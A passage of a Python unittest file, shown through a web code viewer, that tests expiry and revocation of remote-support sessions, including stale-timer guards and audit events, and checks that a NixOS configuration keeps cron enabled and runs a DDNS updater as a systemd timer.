status_file = os.path.join(tmpdir, "support-session-status")
|
||||
with open(status_file, "w") as f:
|
||||
json.dump(fields, f)
|
||||
return status_file
|
||||
|
||||
def test_future_expiry_not_expired(self):
|
||||
import time
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
sf = self._write_session(tmpdir, expires_at=time.time() + 3600)
|
||||
disabled = [False]
|
||||
result = support_ops.expire_if_stale(
|
||||
sf,
|
||||
clock_fn=time.time,
|
||||
disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
|
||||
)
|
||||
self.assertFalse(result)
|
||||
self.assertFalse(disabled[0])
|
||||
|
||||
def test_past_expiry_expired(self):
|
||||
import time
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
sf = self._write_session(tmpdir, expires_at=time.time() - 1)
|
||||
disabled = [False]
|
||||
result = support_ops.expire_if_stale(
|
||||
sf,
|
||||
clock_fn=time.time,
|
||||
disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
|
||||
)
|
||||
self.assertTrue(result)
|
||||
self.assertTrue(disabled[0])
|
||||
|
||||
def test_no_expiry_recent_session_not_expired(self):
|
||||
import time
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
sf = self._write_session(tmpdir, enabled_at=time.time() - 100)
|
||||
result = support_ops.expire_if_stale(sf, clock_fn=time.time)
|
||||
self.assertFalse(result)
|
||||
|
||||
def test_no_expiry_old_session_expired(self):
|
||||
import time
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
sf = self._write_session(tmpdir, enabled_at=time.time() - 86401)
|
||||
disabled = [False]
|
||||
result = support_ops.expire_if_stale(
|
||||
sf,
|
||||
clock_fn=time.time,
|
||||
disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
|
||||
)
|
||||
self.assertTrue(result)
|
||||
self.assertTrue(disabled[0])
|
||||
|
||||
def test_session_id_guard_matching_expires(self):
|
||||
"""Timer with matching session_id must expire the session."""
|
||||
import time
|
||||
sid = "test-session-id"
|
||||
exp = time.time() - 1
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
sf = self._write_session(tmpdir, session_id=sid, expires_at=exp)
|
||||
disabled = [False]
|
||||
result = support_ops.expire_if_stale(
|
||||
sf,
|
||||
clock_fn=time.time,
|
||||
disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
|
||||
session_id=sid,
|
||||
expected_expiry=exp,
|
||||
)
|
||||
self.assertTrue(result)
|
||||
self.assertTrue(disabled[0])
|
||||
|
||||
def test_stale_timer_does_not_revoke_replacement_session(self):
|
||||
"""A timer for an old session must not revoke a newer replacement session."""
|
||||
import time
|
||||
old_sid = "old-session"
|
||||
new_sid = "new-session"
|
||||
exp = time.time() - 1
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
# Current session has the NEW session id
|
||||
sf = self._write_session(tmpdir, session_id=new_sid, expires_at=exp)
|
||||
disabled = [False]
|
||||
# Timer fires with OLD session id
|
||||
result = support_ops.expire_if_stale(
|
||||
sf,
|
||||
clock_fn=time.time,
|
||||
disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
|
||||
session_id=old_sid, # stale — doesn't match stored new_sid
|
||||
expected_expiry=exp,
|
||||
)
|
||||
self.assertFalse(result, "stale timer must not revoke replacement session")
|
||||
self.assertFalse(disabled[0])
|
||||
|
||||
def test_stale_expiry_mismatch_does_not_revoke(self):
|
||||
"""A timer with mismatched expected_expiry must not revoke."""
|
||||
import time
|
||||
sid = "same-sid"
|
||||
exp = time.time() - 1
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
sf = self._write_session(tmpdir, session_id=sid, expires_at=exp + 999)
|
||||
disabled = [False]
|
||||
result = support_ops.expire_if_stale(
|
||||
sf,
|
||||
clock_fn=time.time,
|
||||
disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
|
||||
session_id=sid,
|
||||
expected_expiry=exp, # differs from stored exp+999
|
||||
)
|
||||
self.assertFalse(result)
|
||||
self.assertFalse(disabled[0])
|
||||
|
||||
def test_startup_reconciliation_with_live_session(self):
|
||||
"""On startup, a live session must not be expired."""
|
||||
import time
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
sf = self._write_session(tmpdir, expires_at=time.time() + 3600, session_id="live")
|
||||
disabled = [False]
|
||||
result = support_ops.expire_if_stale(
|
||||
sf,
|
||||
clock_fn=time.time,
|
||||
disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
|
||||
)
|
||||
self.assertFalse(result)
|
||||
self.assertFalse(disabled[0])
|
||||
|
||||
def test_audit_callback_receives_support_expired_event(self):
|
||||
import time
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
sf = self._write_session(tmpdir, expires_at=time.time() - 1)
|
||||
events = []
|
||||
support_ops.expire_if_stale(
|
||||
sf,
|
||||
clock_fn=time.time,
|
||||
audit_fn=lambda event, details="": events.append(event),
|
||||
)
|
||||
self.assertIn("SUPPORT_EXPIRED", events)
|
||||
|
||||
def test_zero_enabled_at_not_expired(self):
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
sf = self._write_session(tmpdir, enabled_at=0)
|
||||
result = support_ops.expire_if_stale(sf)
|
||||
self.assertFalse(result)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Cron composition
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestCronComposition(unittest.TestCase):
|
||||
"""configuration.nix must not disable cron (rsnapshot and other module jobs depend on it)."""
|
||||
|
||||
def _get_config_content(self):
|
||||
path = os.path.join(_REPO_ROOT, "configuration.nix")
|
||||
with open(path) as f:
|
||||
return f.read()
|
||||
|
||||
def test_cron_not_disabled(self):
|
||||
"""services.cron.enable = false must not appear in configuration.nix."""
|
||||
self.assertNotIn("services.cron.enable = false", self._get_config_content())
|
||||
|
||||
def test_sovran_ddns_update_timer_in_njalla(self):
|
||||
"""The periodic Njalla updater must be the systemd timer, not a cron job."""
|
||||
path = os.path.join(_REPO_ROOT, "modules", "core", "njalla.nix")
|
||||
with open(path) as f:
|
||||
content = f.read()
|
||||
self.assertIn("sovran-ddns-update", content)
|
||||
self.assertNotIn("services.cron", content)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
Reference in new issue
Block a user